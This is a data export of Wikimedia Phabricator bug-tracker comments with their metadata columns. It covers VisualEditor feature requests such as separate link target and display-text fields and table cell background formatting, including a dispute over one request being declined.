+645086,VisualEditor: Link input widget should have separate inputs for target and display text,"Off in T124305 there's a patch to make it easier to select the link-contents, which avoids many of the issues a ""display text"" field has (most notably: it's not just text). It's held up on general ""what design do we want?"" concerns.",,,1460559037,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,145,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0
+645036,VisualEditor: Link input widget should have separate inputs for target and display text,"It's now approaching two months since this was declined without adequate explanation and reopened pending that explanation. Please can we now have the reasoning (or a pointer to it) that led to the decline - this remains the biggest single hindrance to simple, intuitive use in my experience.",,,1460556396,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,145,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0
+618787,VisualEditor: Link input widget should have separate inputs for target and display text,"Sorry Jdforrester, I re-opened this task. I don't doubt that a lot of thinking went into this idea - but could you please provide a concise summary of the reasons you don't want to see this implemented? Again, I don't doubt that there are good reasons, I just don't see any and haven't seen a discussion anywhere. Thank you!",,,1456522432,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+618008,VisualEditor: Link input widget should have separate inputs for target and display text,"Thinking more about it, that you have had to have discussions about it in ""dozens of places"" (none of which are linked so we can verify this) suggests that actually there is a very strong desire for a two-box solution. 
+
+WONTFIXing something that is so strongly desired by the editing community needs justification, particularly why two boxes would ""mak[e] the user experience too heavy"" - the only explanation actually given, and that was a musing two years ago. 
+
+The only current way to be sure that both link target and link title are correct when editing is to delete what is currently there, write the title, select it, and then create a link. I am unable to correlate this with the goal of creating an editing interface that makes editing easy. ",,,1456418517,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,0,1,1,1,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0
+617990,VisualEditor: Link input widget should have separate inputs for target and display text,"I'd like to third this question. 
+In informal discussions of VE this is one of the most frequent issues brought up. Indeed I'm astounded that anyone could be ""happy"" at this decision. ",,,1456417495,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0
+616593,VisualEditor: Link input widget should have separate inputs for target and display text,"I'd like to second this question. You could at the very least state the reason why you decline this, as from this feature request it's not clear at all why one would not add this little, extremely helpful textbox in the link widget.",,,1456257863,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0
+616592,VisualEditor: Link input widget should have separate inputs for target and display text,"I'd like to second this question. You could at the very least state the reason why you decline this, as from this feature request it's not clear at all why one would not add this little, extremely helpful textbox in the link menu.",,,1456257811,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0
+616164,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2052851, @Jdforrester-WMF wrote:
+> With the benefit of four years' discussion in dozens of places, I'm now happy to conclude that this is indeed Declined.
+
+Because of...?",,,1456226144,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1
+615779,VisualEditor: Link input widget should have separate inputs for target and display text,"With the benefit of four years' discussion in dozens of places, I'm now happy to conclude that this is indeed Declined.",,,1456174729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,138,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+543426,VisualEditor: Link input widget should have separate inputs for target and display text,[[ https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis#Am.C3.A9lioration_de_l.27insertion_de_lien | New feedback concerning the separate input fields ]]. I also strongly support this idea.,,,1444311377,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,118,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1
+477096,VisualEditor: Link input widget should have separate inputs for target and display text,"Changing a wikilink to an external link is not so smart, because text in the External links tab is not automatically selected, and therefore needs to be selected before being replaced by typing or pasting.",,,1434625821,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,102,,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+477035,VisualEditor: Link input widget should have separate inputs for target and display text,"@Whatamidoing-WMF Works with Chromium, but not on Firefox (38.0 canonical 1.0 for Ubuntu).",,,1434616721,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,102,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0
+476629,VisualEditor: Link input widget should have separate inputs for target and display text,"@Trizek-WMF:  It's supposed to automagically switch to the External links tab if you type ""http://"" at the start.  Is the automatic detection not working for you?",,,1434563472,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,102,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0
+476179,VisualEditor: Link input widget should have separate inputs for target and display text,"I've made some edits yesterday evening with VE in order to add an external link. Here is what I did: 
+
+  # select the text
+  # click on the link icon
+  # type my URL in the field
+  # click on ""Done"" button
+  # See a red link
+  # Realize there is a special tab for external links
+  # Start again...
+
+The same happens to me quite all the time. :/",,,1434530659,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,102,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,1,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0
+494927,VisualEditor: Link input widget should have separate inputs for target and display text,"Copy Google Docs solution?
+
+To elaborate, I don't think that labelling this solution as ""ugly"" is a strong rationale to why it shouldn't actually work for us. I'm fairly sure there must be a fair amount of research behind something that Google came up with for millions of people, and editors are constantly confused by our current interface instead.",,,1437581407,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,107,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+250406,VisualEditor: Link input widget should have separate inputs for target and display text,Copy Google Docs solution?,,,1409658400,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+250399,VisualEditor: Link input widget should have separate inputs for target and display text,*** Bug 51438 has been marked as a duplicate of this bug. ***,,,1395196870,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+250394,VisualEditor: Link input widget should have separate inputs for target and display text,"This is not a WONTFIX, but it comes close in terms of making the user experience too heavy (for detailed reasoning, see endless bugs passim).",,,1395196770,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+55099,VisualEditor: Let template's navboxes (VTE links) be used in VE edit move,"<< Currently when you click on a template with the ""VTE"" (view, talk page, edit) links, Visual Editor gives you the option of adding parameters to the transclusion of the template. Most of the templates with the ""VTE"" links are navigational boxes or other transcluded items without parameters, but as the VTE links suggest, we want people to easily view the template page itself. Maybe if someone clicks on a template with VTE links in Visual Editor, rather than being given the regular option to add parameters they should instead be given a dialogue box saying something along the lines of ""This is a template that appears on many pages. Would you like to open this template's page in a new tab?"". —[[User:Arctic.gnome|Arctic Gnome]] <small>([[User talk:Arctic.gnome|talk]] • [[Special:Contributions/Arctic.gnome|contribs]])</small> 13:45, 20 August 2013 (UTC) >>
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1377012600,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-jtv2xb4ipsbwnbem7fka,task_description,open,True,c1,3,False,False,,7,,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1
+248364,VisualEditor: Let template's navboxes (VTE links) be used in VE edit move,"Bug 49772 - VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation) 
+looks relevant. 
+
+The V.T.E links are a specific of the way things are organised on en.wikipedia See for example the nav box template at the bottom of 
+http://en.wikipedia.org/wiki/When_an_Old_Cricketer_Leaves_the_Crease
+
+I suspect bug 49772 will be a more general solution.",,,1377021493,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-jtv2xb4ipsbwnbem7fka,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+54188,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51527",Lowest,10.0,1375013100,1385396577.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-zsmkxbjmo6bthiyirco6,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+244506,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"This was re-filed as bug 56205 and fixed in October.
+
+*** This bug has been marked as a duplicate of bug 56205 ***",,,1385396577,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zsmkxbjmo6bthiyirco6,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244501,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"With the VE being enabled in Help, File & Category pages, this message is now incorrect on en.wp (and others?) too.",,,1383118394,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-zsmkxbjmo6bthiyirco6,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+244497,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"(In reply to comment #1)
+> Do you mean 
+> https://www.mediawiki.org/wiki/Manual:$wgContentNamespaces
+
+Presumably.
+
+> Is VE enabled in other content namespaces?
+
+Only on MediaWiki.org and the test wikis (where the alpha opt-in preference is not shown). Everywhere else, it's just NS0 (articles) and NS2 (user pages).",,,1375136842,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zsmkxbjmo6bthiyirco6,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+244494,VisualEditor: The alpha opt-in user preference description includes a hardcoded and incorrect list of namespaces,"Do you mean 
+https://www.mediawiki.org/wiki/Manual:$wgContentNamespaces
+Is VE enabled in other content namespaces?",,,1375135683,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-zsmkxbjmo6bthiyirco6,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+54180,Be able to set table cell background (and other formatting options),"**Author:** `jonathan_haas`
+
+**Description:**
+It's currently impossible to change table cell background VE
+
+See for example http://de.wikipedia.org/wiki/Suriyakati-Kalender
+
+**See also**
+* Open subtasks of {T49780} ",Lowest,10.0,1375007580,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ppmnn62nd4u24sclez4h,task_description,open,True,c1,3,False,False,,3,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+1802095,Be able to set table cell background (and other formatting options),,,,1634434555,,PHID-USER-6q5jenpm75klo2spmch3,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,432,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1741412,Be able to set table cell background (and other formatting options),,,,1624208185,,PHID-USER-6q5jenpm75klo2spmch3,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,415,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1410570,Be able to set table cell background (and other formatting options),This was requested again at https://www.mediawiki.org/wiki/Topic:Vcflv3wnvk90yycr by @Guarapiranga.  I think that this or similar requests appear a couple of times each year.,,,1576212562,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,336,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0
+639257,Be able to set table cell background (and other formatting options),">>! In T54180#2169644, @Whatamidoing-WMF wrote:
+> If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.
+
+Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class, so that we can better enforce accessibility, if no other reason.
+
+See also {T37704} and {T89134}.",,,1459597392,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1
+639254,Be able to set table cell background (and other formatting options),">>! In T54180#2169644, @Whatamidoing-WMF wrote:
+> If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.
+
+Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class.
+
+See also {T37704} and {T89134}.",,,1459597259,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+639247,Be able to set table cell background (and other formatting options),">>! In T54180#2169644, @Whatamidoing-WMF wrote:
+> If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.
+
+Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class.
+
+See also T37704.",,,1459596974,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+639246,Be able to set table cell background (and other formatting options),">>! In T54180#2169644, @Whatamidoing-WMF wrote:
+> If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.
+
+Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class. See also T37704.",,,1459596951,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+638745,Be able to set table cell background (and other formatting options),"If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.
+",,,1459530568,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+632619,Be able to set table cell background (and other formatting options),">>! In T54180#969564, @Juandev wrote:
+>>>! In T54180#966351, @Jdforrester-WMF wrote:
+>> There's a strong use case to //not// let this be something people do. The colour in your example adds almost no value but massively distracts from the readability, accessibility and utility of the information being conveyed.
+> 
+> Probably strong case not to use it in Wikipedia, but what about Wikiversity. You may need to highlight cells just to be more atractive for the students or to be able to count someting better. I thing advanced MS Excell of Google Tabs already allow to search by table cell bg color.
+
+This looks like a (really) strong use case for a class to be applied to a row/cell, //not// random style, if in fact ""highlighting"" is being used in multiple places.
+
+I would tend to agree that random color should not be ""doable"" in VE, while permitting the addition of classes may be valuable (especially .wikitable if no others).",,,1458404950,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,141,,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+604066,Be able to set table cell background (and other formatting options),">>! In T54180#966571, @Krinkle wrote:
+> Note that standardised styles (by the software or by local wikis) for tables can be developed and provided through program code (instead of through article content) by declaring them in CSS stylesheets (such as `MediaWiki:Common.css`).
+> 
+> I'd say it'd be an improvement if VisualEditor has an interface that can apply certain css classes to a table. Especially ones provided by MediaWiki core, such as `wikitable`, `sortable`, and `mw-collapsible`. (Though ideally through an intuitive interface, and not a free-form text field; which requires users to know internal software class names.)
+> 
+> ...
+
+Agreed. One of the most common ""deviations"" made to table element defaults is changing the `vertical-align` of all (or nearly all) of the table cells in a table to render //top// rather than default //middle//.
+
+Most folks assume this requires changing the default `vertical-align` value per every TR or per each TD within a table but the default is actually ''inherit'' for these elements - set by tbody, thead or tfoot which actually has the `vertical-align:middle` setting.
+
+Understanding the tbody element is not 'shown but always present' we can still simplify the table rendering of cell content throughout an entire table by making a simple .css addition to the default stylesheets such as...
+
+``` lang=""css""
+.valign-td-top > tbody {
+	vertical-align: top;
+}
+```
